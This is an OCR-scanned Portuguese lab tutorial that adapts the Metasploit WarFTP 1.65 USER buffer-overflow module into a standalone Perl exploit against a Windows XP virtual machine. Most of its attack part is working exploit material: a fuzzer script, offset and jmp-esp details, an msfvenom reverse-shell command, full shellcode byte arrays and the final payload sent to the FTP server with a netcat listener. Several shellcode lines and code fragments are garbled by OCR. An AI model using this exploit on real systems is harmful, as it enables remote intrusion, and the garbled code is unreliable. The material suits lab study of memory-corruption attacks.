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INTRODUCAO

Algumas pessoas nao conseguem entender como um exploit para explorar
um servico foi criado e introduzido no Metasploit.

Esse artigo tem o intuito de entendermos um exploit para o servico FTP e
converté-los numa linguagem que desejamos.

2.0 PRE-REQUISITOS

Recomendamos a criacdo de dois ambientes, um ambiente com um
servidor FTP disponivel ou acessivel por um usuario.

Apds criar o ambiente com Windows XP, podemos utilizar uma maquina
com a distribuicao Kali Linux (pode ser sua maquina):

e Download do Kali Linux:
https://www.kali.org/get-kali/#kali-installer-images/

e Download do Windows XP:
https://archive.org/download/WinXPProSP3x86/en windows xp p
rofessional with service pack 3 x86 cd vl x14-73974.iso

e WarFTP 1.65
https://www.exploit-
db.com/apps/5132d652476f071874e42023e66dclcl-
WarFTP165 vulnerable USER BufferOverflow.exe

e Download do VMWARE:
https://customerconnect.vmware.com/en/downloads/info/slug/de
sktop end user computing/vmware workstation pro/15 0

Apos fazer download de cada ferramenta, apenas faga o simples processo
de instalacao e configuracao que sao necessarias para o funcionamento.


https://www.kali.org/get-kali/#kali-installer-images/
https://archive.org/download/WinXPProSP3x86/en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso
https://archive.org/download/WinXPProSP3x86/en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso
https://www.exploit-db.com/apps/5132d652476f071874e42023e66dc1c1-WarFTP165_vulnerable_USER_BufferOverflow.exe
https://www.exploit-db.com/apps/5132d652476f071874e42023e66dc1c1-WarFTP165_vulnerable_USER_BufferOverflow.exe
https://www.exploit-db.com/apps/5132d652476f071874e42023e66dc1c1-WarFTP165_vulnerable_USER_BufferOverflow.exe
https://customerconnect.vmware.com/en/downloads/info/slug/desktop_end_user_computing/vmware_workstation_pro/15_0
https://customerconnect.vmware.com/en/downloads/info/slug/desktop_end_user_computing/vmware_workstation_pro/15_0

3.0 CRIANDO O LABORATORIO/AMBIENTE

Nessa secao instalaremos um servidor FTP vulneravel numa maquina
Windows XP.

Como o processo de instalacao é muito simples, ndo abordaremos o
processo de instalagao.

Vamos considerar que vocé concluiu a instalacdo do Windows XP e do
Web.

Se desejar acessar somente a se¢ao sobre o desenvolvimento do script em
Perl, acesse a se¢ao 5.



4.0 ACESSANDO O LABORATORIO

Vamos acessar a maquina com Windows XP e iniciar o FTP.

3 Idle - WAR-FTPD 1.65

Properties IIEEGE
(= 1slx|a] ole| @|%[slo] & K
. System Attibutes
i | Login | Mamz | State [ Gooffine when ready [
[ Deny all loging [except for administrator]
v Mo anorymous logins
Max Uzerz ol Anon, 1
IP number and port
|1EI2.‘IEB.1?E.13‘I |21
Meszzages from the users
< >
[5 2024 0317 16:00] WinSock 2.0 s
[E 2024 03 17 16:00] Failed to initialize the ODEC log module
[5 2024 0317 16:00] Initializing ODELC log module... 3
=|= OMLIME 1 of 32767 sockets 0 of 50 [16381) Uszers 0 file =fers

4.0.1 Inicie o servigo de FTP no servidor WarFTP 1.65 Server no primeiro icone.

Com o servidor operando normalmente, vamos iniciar o processo de
construcao do nosso script em Perl.

Para realizar o teste é obrigatdrio instalar uma distribuicao Kali Linux, se
desejar reproduzir o laboratdrio.

5.0 ENTENDO O EXPLOIT DO METASPLOIT

Nessa secao vamos entender como cada parte do exploit disponivel em
https://github.com/rapid7/metasploit-
framework/blob/master/modules/exploits/windows/ftp/Warftp 165 use
r.rb

funciona e entenderemos como adapta-lo para um exploit comum.


https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/warftpd_165_user.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/warftpd_165_user.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/warftpd_165_user.rb

Se vocé nao conhece a linguagem Perl, ndo se preocupe, porque vamos
apresentar cada parte do script e como funciona.

metasploit-framework / modules / exploits / windows / ftp / warftpd_165_user.rb 2

adfoster-r7 Convert disclosure dates to iso860

o 150obU

Code Blame 88 lines (8@ loc) - 2.89 KB

1 ket

2 # Thiz module requires Metasploit: https://metasploit.com/download
# Current source: https://fgithub.com/rapid?/metasploit-framework
5 % class MetasploitModule < Msf::Exploit::Remote
7 Rank = AverageRanking
include Msf::Exploit::Remote::Ftp

Na linha 6 e 9 fazem parte da criagdo da classe e do tipo de script do

Metasploit, mas essa informacao nao sera util para a construcao do nosso
exploit.



> 'War-FTPD 1.65 Username Overflow’,

a buffer overflow found in the USER command

DefaultOptions' =>

"EXITFUNC' => 'process’

> "win'
=>
#T
44 [
n 2098 SP@-5P4 English
R 231e2
[
"Win XP SP@-SP1 Engl
Ret

'Windows XP SP2 English',

'Wiindows XP SP3 English',

DisclosureDate' => '1998-83-19'))

A funcao def initialization tem o objetivo de trazer informacdes, como a
descriacao do exploit, os badchars encontrados, para qual plataforma o
exploit é destinado, quais sistemas operacionais sao vulneraveis ao exploit
e o endereco EIP e offsets utilizados para explorar o buffer desprotegido
do servidor alvo e ganhar uma shell remota.

Concentre-se em apenas 3 linhas:

33 —temos a informacao sobre os badchars, aos quais sao
\x00\x0a\x0d\x40, o hexadecimais.



45 a 66 - Sistemas operacionais Windows e enderecos EIP que
contribuem para a exploracao da vulnerabilidade.

Detalhando esses dados, as linhas abaixo possuem seus respectivos
enderecos EIP para cada sistema operacional Windows

45 a 47 - 0x750231e2 - Windows 2000 SPO-SP4 English
52 a 54 - 0x71ab1d54 - Windows XP SP0O-SP1 English
59 a 61 - 0x71ab9372 - Windows XP SP2 English

66 a 68 - 0x71ab2b53 - Windows XP SP3 English

Continuando...



metasploit-frameweork / modules / exploits / windows / ftp / warftpd_165_user.rb T Top

Code | Blame 88 lines (88 loc) - 2.89 KB Raw [ 2~ [9]

‘Windows XP SP3 English',

&7 {

58 "Ret’ =» @x7lab2b53 # push esp, ret
78 1

71 1,

72 ‘DisclosureDate” = "1998-83-19'))

73 en

_3 e ':IC_ (= loit

print_status{"Trying target #{target.name}...")

e buf = make_nops(688) + payload.encoded
81 buf[485, 4] = [ target.ret ].pack('V')

82

83 send_cmd{ ['USER', buf] , false )}

85 handler

86 disconnect

27 en

Na linha 75 temos a estrutura do exploit, sua estrutura sera:

Linha 80 temos os NOPS utilizados, que equivalem a 600 bytes e o payload
para executarmos e ganharmos acesso ao servidor.

Na linha 81 temos os Offset que sdo representados pelos 485 bytes para
sobrescrever a pilha e definir um novo endereco de retorno no EIP ou RET.

Duas informacdes mudam e depende do ambiente, geralmente é o EIP ou
RET e a quantidade de NOPS ou \x90 depois do endereco de retorno.

A recomendacado ideal é validar o endereco do ponteiro de retorno e a
guantidade de NOPs.

Depois disso, exploramos o buffer USER no servidor FTP, enviando nossa
carga de dados maliciosa para explorarmos a vulnerabilidade de buffer
overflow.



5.2 ADAPTANDO PARA EXPLOIT COMUM

Podemos usar o modulo nativo do Perl para fazermos conexdes FTP:

5.2.1 MODULO DO PERL - 10::Socket::INET;

Uma biblioteca padrao e possui funcionalidades que permitem manipular
conexdes com o servidor FTP através do protocolo TCP.

Para ambientarmos melhor sobre Sockets, dizemos que é uma biblioteca
responsavel pela comunicacao e troca de dados entre cliente e servidor,
sendo rede internas ou externas.

A biblioteca segue um modelo muito parecido com o chamado raw socket,
isto é, torna-se possivel manipular o socket de comunica¢dao a um nivel
muito baixo, aponto de definir protocolos, times, flags através de simples
parametros de configuracdes para conexdes.

Para mais informacdes, sugiro buscar a documentacao oficial sobre o
10::Socket::INET; no metacpan:

e https://metacpan.org/pod/IO::Socket::INET

Para iniciarmos nosso script, definiremos a biblioteca exigida para
fazermos comunicagdes com o servidor remoto, essa é a estrutura:

use IO::Socket::INET;

Depois de entendermos de forma resumida a utilidade da biblioteca e
como ela sera fundamental em nossa verificagdo, vamos estruturar a
apresentacao das informagdes de como usar o script.


https://metacpan.org/pod/IO::Socket::INET

5.2 CRIANDO A FUNCAO DE AUTENTICACAO

A estrutura do script completa serd mencionada nas préximas linhas do
artigo.

Para comegarmos, mencionar os enderegos alvos que conectaremos e a
porta padrao 21:

"192.168.176.131";

21;

Agora, vamos abordar sobre a estrutura do exploit conexao com o
servidor FTP. Nas linhas abaixo, apresentamos a estrutura do Socket que
sera responsavel por conectar com o servidor FTP:

my $sock = I0::Socket::INET->new(
PeerAddr => "192.168.176.131",
PeerPort => "21",
Proto => 'tcp',
) or die "Cannot connect to 192.168.176.131:21: $!\n";

Agora vamos criar a estrutura inicial do exploit:

my $offset = "A"x485; # linha 81 do metasploit

my $eip = "\x72\x93\xab\x71"; #linha 59 a 61, pois estamos Windows XP En
my $nops = "\x90"x600; # linha 80

Os offsets correspondem a linha 81 do exploit do Metasploit.

O eip corresponde a linha 61, como a planilha sempre funciona ao
contrario, precisamos mudar o endereco de retorno ou EIP.

E por fim, os NOPS que tem a importante funcdo de nao fazer nada, isso é
importante para a exploracdao da memoria.



Agora vamos gerar o shellcode através o msfvenom, utilizando a seguinte
linha de comando no Kali:

msfvenom -p windows/shell reverse_tcp lhost=192.168.176.131 lport=4444

EXITFUNC=thread -b '\x00\x0A\x0D' -a x86 --platform Windows -f perl

Observe os badchars da linha 33 sendo utilizado no comando do
msfvenom, aos quais sdo \x00\x0a\x0d\x40.

Agora temos o nosso shellcode pronto:

my $shellcode =

AV GIAVECHAVCLAVE AV ELEAV G AV G AV G CAVTLZ AV L AVE AV ECT AV @AMV (el BN
"\xb1\x52\x83\xe8\xfc\x31\x70\x0e\x03\x21\x9e\x47\xcc\x3d" .
"\x76\x05\x2f\xbd\x87\x6a\xb9\x58\xb6\xaa\xdd\x29\xe9\x1la" .
"\Xx95\x7F\x06 \xd0\xfb\x6b\x9d\x94\xd3\x9c\x16\x12\x02\x93" .
"\xa7\x0f\x76\xb2\x2b\x52\xab\x14\x15\x9d\xbe\x55\x52\xc0" .
BV EEAV VAV GV AV CIAVOTAVEEAVCEAVEE AV EIAVTVZAV I AV EE AV C s
"\xc3\xed\x6b\x74\x5f\xb4\xab\x77\x8c\xcc\xe5\x6f\xd1\xe9" .
"\xbc\x04\x21\x85\x3e\xcc\x7b\x66\xec\x31\xb4\x95\xec\x76" .
"\Xx73\x46\x9b\x8e\x87\xfb\x9c\x55\xf5\x27\x28\x4d\x5d\xa3" .
"\x8a\xa9\x5f\x60\x4c\x3a\x53\xcd\x1a\x64\x70\xdo\xcf\x1f" .
"\x8c\x59\xee\xcf\x04\x19\xd5\xcb\x4d\xf9\x74\x4a\x28\xac" .
"\x89\x8c\x93\x11\x2c\xc7\x3e\x45\x5d\x8a\x56\xaa\x6c\x34" .
"\xa7\xad\xe7\x47\x95\x6b\x5c\xcf\x95\xed\x7a\x08\xd9\xde" .
AV EI AV CIAVOLZAVEIAVE AV EI AV EVAV GEAV LAV E VAV (EAV G AV CYAVE VAN
"\xeb\x63\xa7\x67\x43\xdc\x08\xd7\x23\x8c\xe@\x3d\xac\xf3" .
AV EHAVELAV CIAVCIAVGEAV AV CHAV CEAVC LAV VAN VA AV G AV CYAV T4
BV CEAVC AV CIAVEEAVCEAVELEAVEVAVCIAV AV CHAVCYAV(EAVETAV L e
"\xb9\xa3\x78\xa5\x4e\x54\x36\x4e\x3a\x46\xaf\xbe\x71\x34" .
BV CIAVI( AV CRAVET AV AV EEAVEZAVE LAV CEAVCEAVCEAVS WAV OZ AV -
"\XxFa\x9d\xd8\x99\x54\x83\x20\x7F\x9e\x07 \xff\xbc\x21\x86" .
"\x72\xf8\x05\x98\x4a\x01\x02\xcc\x02\x54\xdc\xba\xe4\x0e" .




"\xae\x14\xbf\xfd\x78\xfo\x46\xce\xba\x86\x46\x1b\x4d\x66"
VS IV S AV GIAVCEAVEVAV CEAV CIAV YAV CAAV CEAV (VAVE LAV CAA VO ER
"\x81\xeb\x1b\xcc\x1lc\x7e\xa6\x91\x9e\x55\xe5\xaf\x1c\x5F"

"\x96\x4b\x3c\x2a\x93\x10\xfa\xc7\xe9\x09\x6f\xe7\x5e\x29"
n \Xba";

Agora juntamos tudo numa variavel chamada exploit:

my exploit = $offset.$eip.$nops.$shellcode;

Vamos enviar para o buffer vulneravel do servidor, mas antes, vamos
autenticar no servidor com usudrio e senha.

A linha abaixo, demonstra como funciona o simples processo de
autenticacao no servidor FTP:

my $sock = I0::Socket::INET->new(
PeerAddr => "192.168.176.131",
PeerPort => "21",
Proto => 'tcp',
) or die "Cannot connect to 192.168.176.131:21: $!\n";

Depois de autenticado enviamos nosso payload para explorar a falha de
buffer overflow no servidor.

Isso é muito simples:

my $r = <$sock>;
print $r;
print $sock "USER $exploit \r\n";

$r = <$sock>;
print $r;
close($sock);




5.3 EXPLOITING

Antes de executar o exploit, ndo esqueca de colocar o netcat para escutar
na porta 4444.

—(root%kali)-[/home/kali/Desktop]
L

listening on [any] 4444 ...

Se vocé executar o exploit em Perl vera que ndao ganhara uma shell no
servidor.

Isso ocorre devido a versao do sistema operacional e arquitetura que
estamos utilizando serem diferentes dos requisitos atendidos pelo
framework Metasploit, isso € normal.

Os problemas podem ocorrer no contexto do EIP e na quantidade de
NOPS, geralmente os offsets e os badchars sempre estao corretos.

As vezes, precisamos entender e ajustar o exploit os requisitos
tecnoldgicos do ambiente, mas precisamos repetir todos os passos de
exploracdo da vulnerabilidade até a obtencao do shell.

Na proxima sec¢ao, vamos reformular todos os passos exploratérios para
conseguirmos shell remoto no servidor.



6.0 EXPLORANDO O BUFFER OVERFLOW

Vamos acessar o Windows e executar o WARFTP 1.6.

3 Idle - WAR-FTPD 1.65

Properties [RUETN Tl

£ 1zlxla] ole| @%|w| o] = K

_ System Athibutes
i | Login | Mame | State [ Gooffine when ready [
[ Deny all loging [except for administrator]

[¥ Mo anomyrmous logins

Mar Users o0 Anoh, 1o

IP number and port

|1E|2.‘|BS.1?E.131 |21

tMessages from the users

[5 2024 03 17 16:00] WinSack 2.0 A
[E 2024 03 17 16:00] Failed to inttialize the ODEC log module
[5 2024 03 17 16:00] Initializing ODBLC log module. ..

=|= OMLIME 1 of 32767 sockets 0 of 50 (16381) Users [ file =fers

Permita o acesso externo ao servidor FTP, portanto clique em “Unblock”.
Aqui temos o “start” do Servidor FTP para execurar e funcionar sem
problemas.

6.1 FUZZER

Vamos criar o script fuzzer e verificar com quantos bytes estouramos o
buffer associado ao comando PUT do servidor FTP.

Vamos usar o modulo “10::Socket::INET” do Perl para fazer conexdes com
o servidor FTP.

use I0::Socket::INET,

Ele serd responsavel pelas conexdes com o servidor FTP.



Nossa proxima etapa sera criar duas linhas indicando o enderego alvo e a
porta de conexao:

'192.168.176.133";

21;

No meu caso, o endereco é 192.168.176.133 e a porta de acesso 21.

Agora, vamos enviar de 100 em 100 bytes para o servidor, para isso,
vamos criar um “for” para fazer as interagdes:

for (my $i=100; $i < 10000; $i = $i + 100) {

Agora, vamos fazer a soma dos bytes em cada interacao do “for”:

my $fuzzer = "A"x$i;

E a cada interagcao enviamos os bytes para o servidor através do mdédulo
de conexao 10::Socket::INET e recebemos a resposta do FTP:

my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Cannot connect to 192.168.176.133:21: $!\n";

my $r = <$sock>;
print $r;

Precisamos monitorar a quantidade de bytes que estao sendo enviados e
suportados pelo servidor FTP:

print "Send Bytes => $i \n";




Esse sera nossa flag de monitoramento, ou seja, quantos bytes estao
sendo enviados.

Agora, vamos autenticar no servidor, enviando as credenciais de usuario e
senha:

print $sock "USER $fuzzer\r\n";

$r = <$sock>;
print $r;

Para sabermos que os bytes foram enviados e recebidos, usamos mais
uma flag de monitoramento, o recebimento da resposta:

print "Send Bytes => $i \n";

E por ultimo utilizamos as chaves para fechar nossa interacao software.

Agora vamos rodar nosso script:

AmmEPoOF]-|1 2 3 4|p 5 oDH apET a6

root@kali: fhome/kali/Desktopfexploits

File Actions Edit View Help

/home/kali/Desktop/exploits
verl warftp.pl
100

r USEr name.

r USer name.

r USEr name.

r USEr name.

Com 500 bytes estouramos o buffer.



6.2 Descobrindo o EIP

Agora, vamos usar o pattern create do msf-pattern para descobrir
exatamente o local do EIP.
Vamos gerar nosso payload para enviar para o servidor:

BEm@EPoFl-[" 23 ¢4[p _ O 4w A B4 @ G

root@kali: /home/kali/Desktop/exploits

File Actions Edit View Help

/home/kali/Desktop/exploits
f-pattern_create -1 500
AabAalAa2Aa3Aa4Aa5AabAa7Aa8Aa9Ab0Ab1AD2Ab3Ab4ADSAD6AD7ADBADIACOACIAC2AC3ACLACSACOACTACBACIAdOAdIAd2Ad3AdLAdSAdEAd7AdBAd9A0Ae1A2Ae3AckAe

J1Aj2Aj3Aj4AT5AT6AF7TAT8AT9AkOAK1AK2AK3AKkLAKSAKE6AK7AKBAKIATOATIAT2AT3AT4ATSAL6AT7A18AT9AMOAMIAM2Am3Am4AMSAM6AM7 AmS8AM9ANOAN1AN2An3An4ANS5ANG6
An7An8An9A00A01A02A03A04A05A06A07A08A09ApOAP1AP2Ap3AP4APSAP6AP7APBAPIAqOAGqIAq2AG3Aq4LAGSAg

/home/kali/Desktop/exploits

Agora, enviamos uma Unica requisicao para o servidor FTP Warftp 1.65,
assim autenticamos e enviamos nosso payload de caracteres criado pelo
msf-pattern para o servidor Warftp 1.65:

use IO::Socket::INET;

my $host '192.168.176.133";
my $port 21;

my $payload =

"Aa®AalAa2Aa3AadAa5AabAa7Aa8Aa9AboOAbIAb2Ab3Ab4Ab5Ab6AD7Ab8ADSACOACIAC2AC3
Ac4Ac5Ac6ACc7Ac8ACI9AdOAdIAd2Ad3Ad4Ad5Ad6Ad7Ad8Ad9AeBAe1Ae2Ae3Ae4Ae5Ae6Ae7A
e8Ae9ATOATIAF2AF3ATAATSATE6AT7AF8ATOAZOAg1Ag2Ag3Ag4AAg5Ag6Ag7Ag8AgI9ANOANLAN
2Ah3Ah4Ah5Ah6Ah7Ah8Ah9A10A11A12A13A14A15A16A17Ai8A19AjOAj1Aj2Aj3AjAAj5A]6
Aj7Aj8Aj9AkOAk1Ak2AK3Ak4AK5Ak6AK7AK8AKOATOAL11AI2A13A14A15A16A17A18A19AMOA
m1Am2Am3Am4Am5Am6AM7 Am8AMOANOAN1AN2AN3AnN4An5AN6AN7AN8AN9A00A01A02A03A04A0
5A06A07A08A09ApOAP1AP2Ap3ApAAPSAp6AP7Ap8APIAqOAqIAq2Aq3Aq4Aq5Aq"T;




my $sock = IO::Socket::INET->new(
PeerAddr => "192.168.176.133",
PeerPort => "21",
Proto => 'tcp',
) or die "Cannot connect to 192.168.176.133:21

my $r = <$sock>;

print $sock "USER $payload\r\n";
$r = <$sock>;

print $r;

sleep(l);

Antes de executar o script, execute pela segunda vez o Warftp 1.65 e
inicie o cologque o servidor no modo “listen” ou clique “start” para iniciar o
servidor Warftp 1.65.

6.2.1 monitorando o servidor FTP

Abra o Immunity Debug para monitoramento a execucao do servidor FTP:

| Immunity Debugger - [CPU]
[€] Fie view Debug Plugins indow Help Johs
ShEE WX p I8 # lemtwhcPkbzr. ?

Need support? uisit http://forum_imnunityinc.com/ Ready

Agora, vamos apontar para o servidor Warftp 1.65, clique em File,



selecione a aplicagao Warftp 1.65 e depois clique em Attach para
anexarmos o servidor FTP e monitorarmos:

lemtwhececPkbzr

A Realsters (FPU)

Cancel

Need support? visit http:/ forun.imnunityinc.com’ Ready

Cligue no botdo Play:

< Immunity Debugger - war-ftpd.exe - [CPU - thread 0000041C, module ntdll]
File Wiew Debug Plugins Immlb Options Window Help Jobs
Y+ lemtwhcPkbzr.s?
) ED1,ED0 A gis L

P
P
P
P

dll. 1
11t @IFFFFFFFF)
£ G(FF

[22:48:52]1 Attached process paused at ntdll.DhgBreakPoint Paused




6.2. Execute o script em Perl:

Nessa se¢do executaremos o script para descobrirmos o nosso EIP:

BEapPorl-| 23 [t N i e P
=) root@kali: /home/kali/Desktop/exploits

File Actions Edit View Help

/home/kali/Desktop/exploits
arl warftp.pl
220 Please enter your user name.

/home/kali/Desktop/exploits

Resultado do EIP:




6.3 Qual o offset?

Nessa secao precisamos descobrir o nimero de offsets e trabalharmos
com encaixe na planilha.
Vamos usar o msf-pattern para descobrirmos o nimero de offsets:

W EmPO-|1 23 4| g o wau,, B ® A Gs2|a e
) root@kali: /nome/kali/Desktop/exploits

File Actions Edit View Help

/home/kali/Desktop/exploits
sf-pattern_off -gq 32714131
[*] Exact match at offset 485

/home/kali/Desktop/exploits

O resultado foi 485, ou seja, a quantidade de bytes para chegarmos ao EIP.

6.4 VALIDAR A ESTRUTURA

Antes de iniciar essa se¢ao, repita a se¢ao 6.2.1 para monitorar a execugao
e comportamento do servidor pelo Immunity Debug.

Precisamos validar a estrutura da pilha utilizamos 3 letras para preencher
apilha: A,BeC.

As serdo os offsets;
B deverao cobrir o local da memdéria que o endereco EIP

C deverao cobrir o local da memoéria que sera adicionado nosso shellcode.



A estrutura do nosso payload, sera a seguinte:

my $offset = "A"x485;
my $eip = "B"x4;
my $esp = "C"x(500-length($offset));

my $payload = $offset.$eip.$esp;
Ao executar o nosso script teremos o resultado:

| Immunity Debugger - war-fipd.exe
File View Dsbug Plugins Immlb Options Window Help Jobs
WX PN W HELEA- 1l emetwhcPkbzr

thread 00000320

A Realsters [FPU)
ER; 1

| ' ' E

[B9:36:881 Access violation when executing [424242421 - use Shift+F?-/F8-/F9 to pass exception to program Paused

Veja que esta funcionando perfeitamente.



6.4 JUMP

O proximo passo serd descobrir uma DLL que possa servir como jump para
nosso shellcode.

Digite no Immunity Debug o seguinte comando:

mona jmp -r esp -n

A Immunity Debugger, - war-ftpd.exe
File Wwiew Debug Plugins Immlb ©Options Window Help Jobs
lemtwhePkbzr

Log data

du
du

T dTTT)
zo. o g

|!mnna jmp -resp j

Paused

Aguarde enquanto as dlls estdao sendo pesquisadas pelo mona, conforme a
imagem acima. Na imagem acima, esta a DLL com o jump pronto

0x7c941eed

Sabendo pelo Metasploit quais sao os badchars, nao precisamos executar
o Immunity Debug e o mona para descobrir essa informacao.

Os badchars sao:

\x00\x0A\x0D




Embora a quantidade de NOPs definida pela Metasploit seja 600,
recomendamos adicionar testar a quantidade de NOPs.

Em nosso exemplo, a quantidade de NOPS foram 300, portanto,
recomendamos testar.

7.0 CONSTRUINDO O EXPLOIT

Conseguimos as informacdes importantes para criar o exploit:

12 os offsets, sao 485, ou seja, idénticas as informacdes fornecidas pelo
Metasploit.

22 0 JUMP em EIP sofreu alteragdes, nao as mesmas do Metasploit,
normal.

32 Os badchars estdo corretos, essa informacado é a mesma do Metaspoit.

Vamos estrutura o exploit:

use IO::Socket::INET;

my $host '192.168.176.133";

my $port 21;

my $offset = "A"x485;
my $eip = " \xed\xle\x94\x7c";




7.1 CRIANDO O SHELLCODE

Agora vamos criar nosso shellcode, responsavel pela obtencao da shell no
servidor remoto, acesse o terminal do Kali Linux e crie um shellcode com o
msfvenom:

—(root%kali)-[/home/kali/Desktop]
L

Found 12 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga nai succeeded with size 351 (iteration=0)
x86/shikata_ga nai chosen with final size 351

Payload size: 351 bytes

Final size of perl file: 1544 bytes

my $buf =
"\xbe\x51\x90\xa5\x39\xdb\xde\xd9\x74\x24\xf4\x58\x29\xc9" .
"\xb1\x52\x83\xe8\xfc\x31\x70\x0e\x03\x21\x9e\x47\xcc\x3d" .
BV VLAV CEAV PRV G AV ETAV CEAV GEAV CEAV GIAVEEAV G AV LAV AV ¢ F- I
BV CEAV VARV GCIAVCAVEE AV I AV CIEAVCIAVC EAVCIAV E IRV AV AV CE S
"\xa7\x0f\x76\xb2\x2b\x52\xab\x14\x15\x9d\xbe\x55\x52\xc0" .
"\x33\x07\x0b\x8e\xe6\xb7\x38\xda\x3a\x3c\x72\xca\x3a\xal" .
AV (EAVCEAV CLAVEZAVE AV G IAVEL AV IFAV TV (A CEAV I AV AV G
AV GIAV AV ARV E PAVETAV (A AV T4 AV CIAV AV ENAV LAV E EAV IV A T
"\x73\x46\x9b\x8e\x87\xFfb\x9c\x55\xf5\x27\x28\x4d\x5d\xa3" .
"\x8a\xa9\x5f\x60\x4c\x3a\x53\xcd\x1a\x64\x70\xdo\xcf\x1f" .
"\x8c\x59\xee\xcf\x04\x19\xd5\xcb\x4d\xf9\x74\x4a\x28\xac" .
BV CEAVCIAVCEAVEMAV PIAPIFAVEIAV CIAV CHAVEEAV CIAV EEAV Gl b €7 s
"\xa7\xad\xe7\x47\x95\x6b\x5c\xcf\x95\xe4\x7a\x08\xd9\xde" .
BV E LAV CIAV LAV AV E AV I AV VAV GEAV CIAVEVAV (EAV G AV VAV C VAN
"\xeb\x63\xa7\x67\x43\xdc\x08\xd7\x23\x8c\xe0@\x3d\xac\xf3" .
AV ENAVELAV CIAVEIAV G EAVEAV CHAV CEAVCLAV VAV VARV Gl AV CYAV 4 T
BV CEAVCAVCIAVCEAVCEAVELAV VAV CIAV CIAVCH AV YAV (A AV E VAV ¥ 1s s
BV GEAVEEAV T AV E AV IAVEVAVEIAVCIAVEE AV CIAVE L AV GIAV A AV EY S
"\x66\xcO\xaft\x50\xed4\x53\x34\xa0\x63\x48\xe3\xf7\x24\xbe" .
"\xfa\x9d\xd8\x99\x54\x83\x20\x7f\x9e\x07\xff\xbc\x21\x86" .
"\Xx72\xf8\x05\x98\x4a\x01\x02\xcc\x02\x54\xdc\xba\xed\x0e" .
"\xae\x14\xbf\xfd\x78\xf0\x46\xce\xba\x86\x46\x1b\x4d\x66" .
BV S EAVS WAV CEAVEEAVEVAV CEAVCIAV YAV EIAV CEAVCYAVE LAV EISA VL
"\x81\xeb\x1b\xcc\x1lc\x7e\xab6\x91\x9e\x55\xe5\xaf\x1c\x5f" .
"\x96\x4b\x3c\x2a\x93\x10\xfa\xc7\xe9\x09\x6f\xe7\x5e\x29" .
"\xba";




Criando a estrutura principal:

my $offset = "A"x485;

my $eip = "\xed\xle\x94\x7c";

my $shellcode =

BV OIAVECIAVCIAVERAVE LAV C LAV G AV C EAVVZAVELAVE AV EL AV ASAY (I
"\xb1\x52\x83\xe8\xfc\x31\x70\x0e\x03\x21\x9e\x47\xcc\x3d" .
"\x76\x05\x2f\xbd\x87\x6a\xb9\x58\xb6\xaa\xdd\x29\xe9\x1la" .
"\Xx95\x7F\x06\xd0\xfb\x6b\x9d\x94\xd3\x9c\x16\x12\x02\x93" .
"\xa7\x0f\x76\xb2\x2b\x52\xab\x14\x15\x9d\xbe\x55\x52\xc0" .
BV EEAVCIAVGIAVEIAVEAVGYAVEEAV C EAVEE AV ETAVIPAV (L AV ET- AV E i R
"\xc3\xed\x6b\x74\x5f\xb4\xab\x77\x8c\xcc\xe5\x6f\xd1\xe9" .
"\xbc\x04\x21\x85\x3e\xcc\x7b\x66\xec\x31\xb4\x95\xec\x76" .
"\Xx73\x46\x9b\x8e\x87\xfb\x9c\x55\xf5\x27\x28\x4d\x5d\xa3" .
"\x8a\xa9\x5f\x60\x4c\x3a\x53\xcd\x1a\x64\x70\xdo\xcf\x1f" .
"\x8c\x59\xee\xcf\x04\x19\xd5\xcb\x4d\xf9\x74\x4a\x28\xac" .
"\x89\x8c\x93\x11\x2c\xc7\x3e\x45\x5d\x8a\x56\xaa\x6c\x34" .
"\xa7\xad\xe7\x47\x95\x6b\x5c\xcf\x95\xe4\x7a\x08\xd9\xde" .
BV E AV CIAV LAV AV E AV CE RV VAV G AV CIAVEVAVEAV G AV CIAV E VAR
"\xeb\x63\xa7\x67\x43\xdc\x08\xd7\x23\x8c\xe@\x3d\xac\xf3" .
AV ¢ NAVETAV CIAVCIAVGEAV AV CHAV CEAVC AV VAAV TA AV Gl AV VAV T4 R
BV CEAVELAVGCIAVCEAV CEAV LAV OVAV (AP CIAVC AV CYAV A AV EVAV @ 1s Rk
BV GEAVEEAV ¥4 AV E RAVCIAVEVAVEIAVCIAVEE AV CIAVE L AV CIAV A AV EY A
BV CIAV(AVCIRAVEAV CIAV CEAV EVAVE AV CEAV CEAVCEAV S WAV CZAV (o T
"\Xxfa\x9d\xd8\x99\x54\x83\x20\x7f\x9e\x07\xff\xbc\x21\x86" .
"\Xx72\xf8\x05\x98\x4a\x01\x02\xcc\x02\x54\xdc\xba\xe4\x0e" .
"\xae\x14\xbf\xfd\x78\xfo\x46\xce\xba\x86\x46\x1b\x4d\x66" .
BV S I AV WAV CEAVCEAVEVAV CEAVCIAV CYAVEIAV CEAVCYAVE LAV EIEAVZE TN
"\x81\xeb\x1b\xcc\x1lc\x7e\xab6\x91\x9e\x55\xe5\xaf\x1c\x5f" .
BV CIAVCIAVEIAVEEAVCEAVEAVE EAV(TAV CEAVCEAV G AV VAV CIAV @A s
"\xba";

my $nop = "\x90"x300;

my $payload = $offset.$eip.$nop.$shellcode;

Para finalizarmos, sera preciso fazer 3 acdes:

1. Iniciar o FTP Warftp 1.65 novamente e deixar no modo listen, sem o
Immunity Debug.

2. Colocar o netcat para ouvir na porta 444

3. e executar o exploit.



7.2 RESULTADO DO EXPLOIT

Para que tudo funcione vamos seguir os 3 passos mencionados acima:

X Idle - WAR-FTPD 1.65

Prap =N Yiew Help
(£ 1a[x|@] olei| @|%[wlo] & K
. System Attibutes
i | Login | Mame | State [~ Gooffine when ready [
[ Deny all loging [except for administrator]
[v Mo anomvmous logins
tdar Uzers o Anoh, 1
IP number and port
|1E|2.188.1?‘Ei.13‘l |21
tezzages from the users
< >
[5 2024 0317 16:00] WinSock 2.0 A
[E 2024 03 17 16:00] Failed to intialize the ODBC log module
[5 2024 03 17 16:00] Initializing ODBLC log module. . 7
— OMLIME 1 of 32767 socketz 0 of BO[16381) Users [ file wfers

12 Servidor estd online.

b

File Actions Edit View Help
/home/kali/Desktop

¢ -vlp 4444
listening on [any] 4444

|
22 Netcat ouvindo na porta 4444.

32 Execute o exploit no terminal Linux com o seguinte comando:

—(root%®kali)-[/home/kali]
L




